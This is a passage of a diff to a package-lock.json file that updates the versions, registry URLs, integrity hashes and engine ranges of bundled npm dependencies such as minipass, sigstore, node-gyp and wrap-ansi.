"normalize-package-data": "^5.0.0", "npm-package-arg": "^10.1.0", "npm-registry-fetch": "^14.0.3", + "proc-log": "^3.0.0", "semver": "^7.3.7", - "sigstore": "^1.0.0", + "sigstore": "^1.4.0", "ssri": "^10.0.1" }, "engines": { @@ -10926,7 +11535,7 @@ } }, "node_modules/npm/node_modules/lru-cache": { - "version": "7.16.2", + "version": "7.18.3", "dev": true, "inBundle": true, "license": "ISC", @@ -10935,7 +11544,7 @@ } }, "node_modules/npm/node_modules/make-fetch-happen": { - "version": "11.0.3", + "version": "11.1.1", "dev": true, "inBundle": true, "license": "ISC", @@ -10947,7 +11556,7 @@ "https-proxy-agent": "^5.0.0", "is-lambda": "^1.0.1", "lru-cache": "^7.7.1", - "minipass": "^4.0.0", + "minipass": "^5.0.0", "minipass-fetch": "^3.0.0", "minipass-flush": "^1.0.5", "minipass-pipeline": "^1.2.4", @@ -10961,7 +11570,7 @@ } }, "node_modules/npm/node_modules/minimatch": { - "version": "6.2.0", + "version": "9.0.3", "dev": true, "inBundle": true, "license": "ISC", @@ -10969,14 +11578,14 @@ "brace-expansion": "^2.0.1" }, "engines": { - "node": ">=10" + "node": ">=16 || 14 >=14.17" }, "funding": { "url": "https://github.com/sponsors/isaacs" } }, "node_modules/npm/node_modules/minipass": { - "version": "4.0.3", + "version": "5.0.0", "dev": true, "inBundle": true, "license": "ISC", @@ -11009,12 +11618,12 @@ } }, "node_modules/npm/node_modules/minipass-fetch": { - "version": "3.0.1", + "version": "3.0.3", "dev": true, "inBundle": true, "license": "MIT", "dependencies": { - "minipass": "^4.0.0", + "minipass": "^5.0.0", "minipass-sized": "^1.0.3", "minizlib": "^2.1.2" }, @@ -11181,15 +11790,16 @@ } }, "node_modules/npm/node_modules/node-gyp": { - "version": "9.3.1", + "version": "9.4.0", "dev": true, "inBundle": true, "license": "MIT", "dependencies": { "env-paths": "^2.2.0", + "exponential-backoff": "^3.1.1", "glob": "^7.1.4", "graceful-fs": "^4.2.6", - "make-fetch-happen": "^10.0.3", + "make-fetch-happen": "^11.0.3", "nopt": "^6.0.0", "npmlog": "^6.0.0", "rimraf": "^3.0.2", @@ -11204,19 +11814,6 @@ "node": "^12.13 || ^14.13 || >=16" } }, - "node_modules/npm/node_modules/node-gyp/node_modules/@npmcli/fs": { - "version": "2.1.2", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "@gar/promisify": "^1.1.3", - "semver": "^7.3.5" - }, - "engines": { - "node": "^12.13.0 || ^14.15.0 || >=16.0.0" - } - }, "node_modules/npm/node_modules/node-gyp/node_modules/abbrev": { "version": "1.1.1", "dev": true, @@ -11246,46 +11843,27 @@ "concat-map": "0.0.1" } }, - "node_modules/npm/node_modules/node-gyp/node_modules/cacache": { - "version": "16.1.3", + "node_modules/npm/node_modules/node-gyp/node_modules/gauge": { + "version": "4.0.4", "dev": true, "inBundle": true, "license": "ISC", "dependencies": { - "@npmcli/fs": "^2.1.0", - "@npmcli/move-file": "^2.0.0", - "chownr": "^2.0.0", - "fs-minipass": "^2.1.0", - "glob": "^8.0.1", - "infer-owner": "^1.0.4", - "lru-cache": "^7.7.1", - "minipass": "^3.1.6", - "minipass-collect": "^1.0.2", - "minipass-flush": "^1.0.5", - "minipass-pipeline": "^1.2.4", - "mkdirp": "^1.0.4", - "p-map": "^4.0.0", - "promise-inflight": "^1.0.1", - "rimraf": "^3.0.2", - "ssri": "^9.0.0", - "tar": "^6.1.11", - "unique-filename": "^2.0.0" + "aproba": "^1.0.3 || ^2.0.0", + "color-support": "^1.1.3", + "console-control-strings": "^1.1.0", + "has-unicode": "^2.0.1", + "signal-exit": "^3.0.7", + "string-width": "^4.2.3", + "strip-ansi": "^6.0.1", + "wide-align": "^1.1.5" }, "engines": { "node": "^12.13.0 || ^14.15.0 || >=16.0.0" } }, - "node_modules/npm/node_modules/node-gyp/node_modules/cacache/node_modules/brace-expansion": { - "version": "2.0.1", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "balanced-match": "^1.0.0" - } - }, - "node_modules/npm/node_modules/node-gyp/node_modules/cacache/node_modules/glob": { - "version": "8.1.0", + "node_modules/npm/node_modules/node-gyp/node_modules/glob": { + "version": "7.2.3", "dev": true, "inBundle": true, "license": "ISC", @@ -11293,169 +11871,51 @@ "fs.realpath": "^1.0.0", "inflight": "^1.0.4", "inherits": "2", - "minimatch": "^5.0.1", - "once": "^1.3.0" + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" }, "engines": { - "node": ">=12" + "node": "*" }, "funding": { "url": "https://github.com/sponsors/isaacs" } }, - "node_modules/npm/node_modules/node-gyp/node_modules/cacache/node_modules/minimatch": { - "version": "5.1.6", + "node_modules/npm/node_modules/node-gyp/node_modules/minimatch": { + "version": "3.1.2", "dev": true, "inBundle": true, "license": "ISC", "dependencies": { - "brace-expansion": "^2.0.1" + "brace-expansion": "^1.1.7" }, "engines": { - "node": ">=10" + "node": "*" } }, - "node_modules/npm/node_modules/node-gyp/node_modules/fs-minipass": { - "version": "2.1.0", + "node_modules/npm/node_modules/node-gyp/node_modules/nopt": { + "version": "6.0.0", "dev": true, "inBundle": true, "license": "ISC", "dependencies": { - "minipass": "^3.0.0" + "abbrev": "^1.0.0" + }, + "bin": { + "nopt": "bin/nopt.js" }, "engines": { - "node": ">= 8" + "node": "^12.13.0 || ^14.15.0 || >=16.0.0" } }, - "node_modules/npm/node_modules/node-gyp/node_modules/gauge": { - "version": "4.0.4", + "node_modules/npm/node_modules/node-gyp/node_modules/npmlog": { + "version": "6.0.2", "dev": true, "inBundle": true, "license": "ISC", "dependencies": { - "aproba": "^1.0.3 || ^2.0.0", - "color-support": "^1.1.3", - "console-control-strings": "^1.1.0", - "has-unicode": "^2.0.1", - "signal-exit": "^3.0.7", - "string-width": "^4.2.3", - "strip-ansi": "^6.0.1", - "wide-align": "^1.1.5" - }, - "engines": { - "node": "^12.13.0 || ^14.15.0 || >=16.0.0" - } - }, - "node_modules/npm/node_modules/node-gyp/node_modules/glob": { - "version": "7.2.3", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.1.1", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/npm/node_modules/node-gyp/node_modules/make-fetch-happen": { - "version": "10.2.1", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "agentkeepalive": "^4.2.1", - "cacache": "^16.1.0", - "http-cache-semantics": "^4.1.0", - "http-proxy-agent": "^5.0.0", - "https-proxy-agent": "^5.0.0", - "is-lambda": "^1.0.1", - "lru-cache": "^7.7.1", - "minipass": "^3.1.6", - "minipass-collect": "^1.0.2", - "minipass-fetch": "^2.0.3", - "minipass-flush": "^1.0.5", - "minipass-pipeline": "^1.2.4", - "negotiator": "^0.6.3", - "promise-retry": "^2.0.1", - "socks-proxy-agent": "^7.0.0", - "ssri": "^9.0.0" - }, - "engines": { - "node": "^12.13.0 || ^14.15.0 || >=16.0.0" - } - }, - "node_modules/npm/node_modules/node-gyp/node_modules/minimatch": { - "version": "3.1.2", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "brace-expansion": "^1.1.7" - }, - "engines": { - "node": "*" - } - }, - "node_modules/npm/node_modules/node-gyp/node_modules/minipass": { - "version": "3.3.6", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "yallist": "^4.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/npm/node_modules/node-gyp/node_modules/minipass-fetch": { - "version": "2.1.2", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "minipass": "^3.1.6", - "minipass-sized": "^1.0.3", - "minizlib": "^2.1.2" - }, - "engines": { - "node": "^12.13.0 || ^14.15.0 || >=16.0.0" - }, - "optionalDependencies": { - "encoding": "^0.1.13" - } - }, - "node_modules/npm/node_modules/node-gyp/node_modules/nopt": { - "version": "6.0.0", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "abbrev": "^1.0.0" - }, - "bin": { - "nopt": "bin/nopt.js" - }, - "engines": { - "node": "^12.13.0 || ^14.15.0 || >=16.0.0" - } - }, - "node_modules/npm/node_modules/node-gyp/node_modules/npmlog": { - "version": "6.0.2", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "are-we-there-yet": "^3.0.0", + "are-we-there-yet": "^3.0.0", "console-control-strings": "^1.1.0", "gauge": "^4.0.3", "set-blocking": "^2.0.0" @@ -11465,7 +11925,7 @@ } }, "node_modules/npm/node_modules/node-gyp/node_modules/readable-stream": { - "version": "3.6.0", + "version": "3.6.2", "dev": true, "inBundle": true, "license": "MIT", @@ -11478,41 +11938,11 @@ "node": ">= 6" } }, - "node_modules/npm/node_modules/node-gyp/node_modules/ssri": { - "version": "9.0.1", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "minipass": "^3.1.1" - }, - "engines": { - "node": "^12.13.0 || ^14.15.0 || >=16.0.0" - } - }, - "node_modules/npm/node_modules/node-gyp/node_modules/unique-filename": { - "version": "2.0.1", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "unique-slug": "^3.0.0" - }, - "engines": { - "node": "^12.13.0 || ^14.15.0 || >=16.0.0" - } - }, - "node_modules/npm/node_modules/node-gyp/node_modules/unique-slug": { - "version": "3.0.0", + "node_modules/npm/node_modules/node-gyp/node_modules/signal-exit": { + "version": "3.0.7", "dev": true, "inBundle": true, - "license": "ISC", - "dependencies": { - "imurmurhash": "^0.1.4" - }, - "engines": { - "node": "^12.13.0 || ^14.15.0 || >=16.0.0" - } + "license": "ISC" }, "node_modules/npm/node_modules/node-gyp/node_modules/which": { "version": "2.0.2", @@ -11530,7 +11960,7 @@ } }, "node_modules/npm/node_modules/nopt": { - "version": "7.0.0", + "version": "7.2.0", "dev": true, "inBundle": true, "license": "ISC", @@ -11560,13 +11990,10 @@ } }, "node_modules/npm/node_modules/npm-audit-report": { - "version": "4.0.0", + "version": "5.0.0", "dev": true, "inBundle": true, "license": "ISC", - "dependencies": { - "chalk": "^4.0.0" - }, "engines": { "node": "^14.17.0 || ^16.13.0 || >=18.0.0" } @@ -11584,7 +12011,7 @@ } }, "node_modules/npm/node_modules/npm-install-checks": { - "version": "6.0.0", + "version": "6.1.1", "dev": true, "inBundle": true, "license": "BSD-2-Clause", @@ -11596,7 +12023,7 @@ } }, "node_modules/npm/node_modules/npm-normalize-package-bin": { - "version": "3.0.0", + "version": "3.0.1", "dev": true, "inBundle": true, "license": "ISC", @@ -11660,13 +12087,13 @@ } }, "node_modules/npm/node_modules/npm-registry-fetch": { - "version": "14.0.3", + "version": "14.0.5", "dev": true, "inBundle": true, "license": "ISC", "dependencies": { "make-fetch-happen": "^11.0.0", - "minipass": "^4.0.0", + "minipass": "^5.0.0", "minipass-fetch": "^3.0.0", "minipass-json-stream": "^1.0.1", "minizlib": "^2.1.2", @@ -11726,7 +12153,7 @@ } }, "node_modules/npm/node_modules/pacote": { - "version": "15.1.1", + "version": "15.2.0", "dev": true, "inBundle": true, "license": "ISC", @@ -11737,7 +12164,7 @@ "@npmcli/run-script": "^6.0.0", "cacache": "^17.0.0", "fs-minipass": "^3.0.0", - "minipass": "^4.0.0", + "minipass": "^5.0.0", "npm-package-arg": "^10.0.0", "npm-packlist": "^7.0.0", "npm-pick-manifest": "^8.0.0", @@ -11746,7 +12173,7 @@ "promise-retry": "^2.0.1", "read-package-json": "^6.0.0", "read-package-json-fast": "^3.0.0", - "sigstore": "^1.0.0", + "sigstore": "^1.3.0", "ssri": "^10.0.0", "tar": "^6.1.11" }, @@ -11758,13 +12185,13 @@ } }, "node_modules/npm/node_modules/parse-conflict-json": { - "version": "3.0.0", + "version": "3.0.1", "dev": true, "inBundle": true, "license": "ISC", "dependencies": { "json-parse-even-better-errors": "^3.0.0", - "just-diff": "^5.0.1", + "just-diff": "^6.0.0", "just-diff-apply": "^5.2.0" }, "engines": { @@ -11780,8 +12207,42 @@ "node": ">=0.10.0" } }, + "node_modules/npm/node_modules/path-key": { + "version": "3.1.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/npm/node_modules/path-scurry": { + "version": "1.9.2", + "dev": true, + "inBundle": true, + "license": "BlueOak-1.0.0", + "dependencies": { + "lru-cache": "^9.1.1", + "minipass": "^5.0.0 || ^6.0.2" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/npm/node_modules/path-scurry/node_modules/lru-cache": { + "version": "9.1.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "engines": { + "node": "14 || >=16.14" + } + }, "node_modules/npm/node_modules/postcss-selector-parser": { - "version": "6.0.11", + "version": "6.0.13", "dev": true, "inBundle": true, "license": "MIT", @@ -11821,7 +12282,7 @@ } }, "node_modules/npm/node_modules/promise-call-limit": { - "version": "1.0.1", + "version": "1.0.2", "dev": true, "inBundle": true, "license": "ISC", @@ -11869,7 +12330,7 @@ } }, "node_modules/npm/node_modules/read": { - "version": "2.0.0", + "version": "2.1.0", "dev": true, "inBundle": true, "license": "ISC", @@ -11890,12 +12351,12 @@ } }, "node_modules/npm/node_modules/read-package-json": { - "version": "6.0.0", + "version": "6.0.4", "dev": true, "inBundle": true, "license": "ISC", "dependencies": { - "glob": "^8.0.1", + "glob": "^10.2.2", "json-parse-even-better-errors": "^3.0.0", "normalize-package-data": "^5.0.0", "npm-normalize-package-bin": "^3.0.0" @@ -11918,7 +12379,7 @@ } }, "node_modules/npm/node_modules/readable-stream": { - "version": "4.3.0", + "version": "4.4.0", "dev": true, "inBundle": true, "license": "MIT", @@ -11999,8 +12460,22 @@ } }, "node_modules/npm/node_modules/safe-buffer": { - "version": "5.1.2", + "version": "5.2.1", "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], "inBundle": true, "license": "MIT" }, @@ -12012,7 +12487,7 @@ "optional": true }, "node_modules/npm/node_modules/semver": { - "version": "7.3.8", + "version": "7.5.4", "dev": true, "inBundle": true, "license": "ISC", @@ -12044,20 +12519,48 @@ "inBundle": true, "license": "ISC" }, + "node_modules/npm/node_modules/shebang-command": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/npm/node_modules/shebang-regex": { + "version": "3.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, "node_modules/npm/node_modules/signal-exit": { - "version": "3.0.7", + "version": "4.0.2", "dev": true, "inBundle": true, - "license": "ISC" + "license": "ISC", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } }, "node_modules/npm/node_modules/sigstore": { - "version": "1.0.0", + "version": "1.7.0", "dev": true, "inBundle": true, "license": "Apache-2.0", "dependencies": { - "make-fetch-happen": "^11.0.1", - "tuf-js": "^1.0.0" + "@sigstore/protobuf-specs": "^0.1.0", + "@sigstore/tuf": "^1.0.1", + "make-fetch-happen": "^11.0.1" }, "bin": { "sigstore": "bin/sigstore.js" @@ -12105,7 +12608,7 @@ } }, "node_modules/npm/node_modules/spdx-correct": { - "version": "3.1.1", + "version": "3.2.0", "dev": true, "inBundle": true, "license": "Apache-2.0", @@ -12131,30 +12634,30 @@ } }, "node_modules/npm/node_modules/spdx-license-ids": { - "version": "3.0.12", + "version": "3.0.13", "dev": true, "inBundle": true, "license": "CC0-1.0" }, "node_modules/npm/node_modules/ssri": { - "version": "10.0.1", + "version": "10.0.4", "dev": true, "inBundle": true, "license": "ISC", "dependencies": { - "minipass": "^4.0.0" + "minipass": "^5.0.0" }, "engines": { "node": "^14.17.0 || ^16.13.0 || >=18.0.0" } }, "node_modules/npm/node_modules/string_decoder": { - "version": "1.1.1", + "version": "1.3.0", "dev": true, "inBundle": true, "license": "MIT", "dependencies": { - "safe-buffer": "~5.1.0" + "safe-buffer": "~5.2.0" } }, "node_modules/npm/node_modules/string-width": { @@ -12171,39 +12674,67 @@ "node": ">=8" } }, - "node_modules/npm/node_modules/strip-ansi": { - "version": "6.0.1", + "node_modules/npm/node_modules/string-width-cjs": { + "name": "string-width", + "version": "4.2.3", "dev": true, "inBundle": true, "license": "MIT", "dependencies": { - "ansi-regex": "^5.0.1" + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" }, "engines": { "node": ">=8" } }, - "node_modules/npm/node_modules/supports-color": { - "version": "7.2.0", + "node_modules/npm/node_modules/strip-ansi": { + "version": "6.0.1", "dev": true, "inBundle": true, "license": "MIT", "dependencies": { - "has-flag": "^4.0.0" + "ansi-regex": "^5.0.1" }, "engines": { "node": ">=8" } }, - "node_modules/npm/node_modules/tar": { - "version": "6.1.13", + "node_modules/npm/node_modules/strip-ansi-cjs": { + "name": "strip-ansi", + "version": "6.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/npm/node_modules/supports-color": { + "version": "9.4.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" + } + }, + "node_modules/npm/node_modules/tar": { + "version": "6.1.15", "dev": true, "inBundle": true, "license": "ISC", "dependencies": { "chownr": "^2.0.0", "fs-minipass": "^2.0.0", - "minipass": "^4.0.0", + "minipass": "^5.0.0", "minizlib": "^2.1.1", "mkdirp": "^1.0.3", "yallist": "^4.0.0" @@ -12258,13 +12789,14 @@ } }, "node_modules/npm/node_modules/tuf-js": { - "version": "1.0.0", + "version": "1.1.7", "dev": true, "inBundle": true, "license": "MIT", "dependencies": { - "make-fetch-happen": "^11.0.1", - "minimatch": "^6.1.0" + "@tufjs/models": "1.0.4", + "debug": "^4.3.4", + "make-fetch-happen": "^11.1.1" }, "engines": { "node": "^14.17.0 || ^16.13.0 || >=18.0.0" @@ -12323,7 +12855,7 @@ } }, "node_modules/npm/node_modules/walk-up-path": { - "version": "1.0.0", + "version": "3.0.1", "dev": true, "inBundle": true, "license": "ISC" @@ -12338,7 +12870,7 @@ } }, "node_modules/npm/node_modules/which": { - "version": "3.0.0", + "version": "3.0.1", "dev": true, "inBundle": true, "license": "ISC", @@ -12361,6 +12893,103 @@ "string-width": "^1.0.2 || 2 || 3 || 4" } }, + "node_modules/npm/node_modules/wrap-ansi": { + "version": "8.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^6.1.0", + "string-width": "^5.0.1", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/npm/node_modules/wrap-ansi-cjs": { + "name": "wrap-ansi", + "version": "7.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/npm/node_modules/wrap-ansi/node_modules/ansi-regex": { + "version": "6.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/npm/node_modules/wrap-ansi/node_modules/ansi-styles": { + "version": "6.2.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/npm/node_modules/wrap-ansi/node_modules/emoji-regex": { + "version": "9.2.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/wrap-ansi/node_modules/string-width": { + "version": "5.1.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "eastasianwidth": "^0.2.0", + "emoji-regex": "^9.2.2", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/npm/node_modules/wrap-ansi/node_modules/strip-ansi": { + "version": "7.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^6.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, "node_modules/npm/node_modules/wrappy": { "version": "1.0.2", "dev": true, @@ -12368,13 +12997,13 @@ "license": "ISC" }, "node_modules/npm/node_modules/write-file-atomic": { - "version": "5.0.0", + "version": "5.0.1", "dev": true, "inBundle": true, "license": "ISC", "dependencies": { "imurmurhash": "^0.1.4", - "signal-exit": "^3.0.7" + "signal-exit": "^4.0.1" }, "engines": { "node": "^14.17.0 || ^16.13.0 || >=18.0.0" @@ -12418,7 +13047,6 @@ "version": "1.12.3", "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.12.3.tgz", "integrity": "sha512-geUvdk7c+eizMNUDkRpW1wJwgfOiOeHbxBR/hLXK1aT6zmVSO0jsQcs7fj6MGw89jC/cjGfLcNOrtMYtGqm81g==", - "dev": true, "funding": { "url": "https://github.com/sponsors/ljharb" } @@ -12450,7 +13078,6 @@ "version": "4.1.4", "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.4.tgz", "integrity": "sha512-1mxKf0e58bvyjSCtKYY4sRe9itRk3PJpquJOjeIkz885CczcI4IvJJDLPS72oowuSh+pBxUFROpX+TU++hxhZQ==", - "dev": true, "dependencies": { "call-bind": "^1.0.2", "define-properties": "^1.1.4", @@ -12465,28 +13092,28 @@ } }, "node_modules/object.entries": { - "version": "1.1.6", - "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.6.tgz", - "integrity": "sha512-leTPzo4Zvg3pmbQ3rDK69Rl8GQvIqMWubrkxONG9/ojtFE2rD9fjMKfSI5BxW3osRH1m6VdzmqK8oAY9aT4x5w==", + "version": "1.1.7", + "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.7.tgz", + "integrity": "sha512-jCBs/0plmPsOnrKAfFQXRG2NFjlhZgjjcBLSmTnEhU8U6vVTsVe8ANeQJCHTl3gSsI4J+0emOoCgoKlmQPMgmA==", "dev": true, "dependencies": { "call-bind": "^1.0.2", - "define-properties": "^1.1.4", - "es-abstract": "^1.20.4" + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1" }, "engines": { "node": ">= 0.4" } }, "node_modules/object.fromentries": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.6.tgz", - "integrity": "sha512-VciD13dswC4j1Xt5394WR4MzmAQmlgN72phd/riNp9vtD7tp4QQWJ0R4wvclXcafgcYK8veHRed2W6XeGBvcfg==", + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.7.tgz", + "integrity": "sha512-UPbPHML6sL8PI/mOqPwsH4G6iyXcCGzLin8KvEPenOZN5lpCNBZZQ+V62vdjB1mQHrmqGQt5/OJzemUA+KJmEA==", "dev": true, "dependencies": { "call-bind": "^1.0.2", - "define-properties": "^1.1.4", - "es-abstract": "^1.20.4" + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1" }, "engines": { "node": ">= 0.4" @@ -12496,27 +13123,27 @@ } }, "node_modules/object.hasown": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/object.hasown/-/object.hasown-1.1.2.tgz", - "integrity": "sha512-B5UIT3J1W+WuWIU55h0mjlwaqxiE5vYENJXIXZ4VFe05pNYrkKuK0U/6aFcb0pKywYJh7IhfoqUfKVmrJJHZHw==", + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/object.hasown/-/object.hasown-1.1.3.tgz", + "integrity": "sha512-fFI4VcYpRHvSLXxP7yiZOMAd331cPfd2p7PFDVbgUsYOfCT3tICVqXWngbjr4m49OvsBwUBQ6O2uQoJvy3RexA==", "dev": true, "dependencies": { - "define-properties": "^1.1.4", - "es-abstract": "^1.20.4" + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1" }, "funding": { "url": "https://github.com/sponsors/ljharb" } }, "node_modules/object.values": { - "version": "1.1.6", - "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.6.tgz", - "integrity": "sha512-FVVTkD1vENCsAcwNs9k6jea2uHC/X0+JcjG8YA60FN5CMaJmG95wT9jek/xX9nornqGRrBkKtzuAu2wuHpKqvw==", + "version": "1.1.7", + "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.7.tgz", + "integrity": "sha512-aU6xnDFYT3x17e/f0IiiwlGPTy2jzMySGfUB4fq6z7CV8l85CWHDk5ErhyhpfDHhrOMwGFhSQkhMGHaIotA6Ng==", "dev": true, "dependencies": { "call-bind": "^1.0.2", - "define-properties": "^1.1.4", - "es-abstract": "^1.20.4" + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1" }, "engines": { "node": ">= 0.4" @@ -12594,17 +13221,17 @@ } }, "node_modules/optionator": { - "version": "0.9.1", - "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.1.tgz", - "integrity": "sha512-74RlY5FCnhq4jRxVUPKDaRwrVNXMqsGsiW6AJw4XK8hmtm10wC0ypZBLw5IIp85NZMr91+qd1RvvENwg7jjRFw==", + "version": "0.9.3", + "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.3.tgz", + "integrity": "sha512-JjCoypp+jKn1ttEFExxhetCKeJt9zhAgAve5FXHixTvFDW/5aEktX9bufBKLRRMdU7bNtpLfcGu94B3cdEJgjg==", "dev": true, "dependencies": { + "@aashutoshrathi/word-wrap": "^1.2.3", "deep-is": "^0.1.3", "fast-levenshtein": "^2.0.6", "levn": "^0.4.1", "prelude-ls": "^1.2.1", - "type-check": "^0.4.0", - "word-wrap": "^1.2.3" + "type-check": "^0.4.0" }, "engines": { "node": ">= 0.8.0" @@ -12791,28 +13418,28 @@ "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==" }, "node_modules/path-scurry": { - "version": "1.6.1", - "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-1.6.1.tgz", - "integrity": "sha512-OW+5s+7cw6253Q4E+8qQ/u1fVvcJQCJo/VFD8pje+dbJCF1n5ZRMV2AEHbGp+5Q7jxQIYJxkHopnj6nzdGeZLA==", + "version": "1.10.1", + "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-1.10.1.tgz", + "integrity": "sha512-MkhCqzzBEpPvxxQ71Md0b1Kk51W01lrYvlMzSUaIzNsODdd7mqhiimSZlr+VegAz5Z6Vzt9Xg2ttE//XBhH3EQ==", "dev": true, "dependencies": { - "lru-cache": "^7.14.1", - "minipass": "^4.0.2" + "lru-cache": "^9.1.1 || ^10.0.0", + "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" }, "engines": { - "node": ">=14" + "node": ">=16 || 14 >=14.17" }, "funding": { "url": "https://github.com/sponsors/isaacs" } }, "node_modules/path-scurry/node_modules/lru-cache": { - "version": "7.18.3", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-7.18.3.tgz", - "integrity": "sha512-jumlc0BIUrS3qJGgIkWZsyfAM7NCWiBcCDhnd+3NNM5KbBmLTgHVfWBcg6W+rLUsIpzpERPsvwUP7CckAQSOoA==", + "version": "10.0.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.0.1.tgz", + "integrity": "sha512-IJ4uwUTi2qCccrioU6g9g/5rvvVl13bsdczUUcqbciD9iLr095yj8DQKdObriEvuNSx325N1rV1O0sJFszx75g==", "dev": true, "engines": { - "node": ">=12" + "node": "14 || >=16.14" } }, "node_modules/path-to-regexp": { @@ -12876,67 +13503,100 @@ } }, "node_modules/pkg-dir": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", - "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-7.0.0.tgz", + "integrity": "sha512-Ie9z/WINcxxLp27BKOCHGde4ITq9UklYKDzVo1nhk5sqGEXU3FpkwP5GM2voTGJkGd9B3Otl+Q4uwSOeSUtOBA==", "dev": true, "dependencies": { - "find-up": "^4.0.0" + "find-up": "^6.3.0" }, "engines": { - "node": ">=8" + "node": ">=14.16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/pkg-dir/node_modules/find-up": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", - "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-6.3.0.tgz", + "integrity": 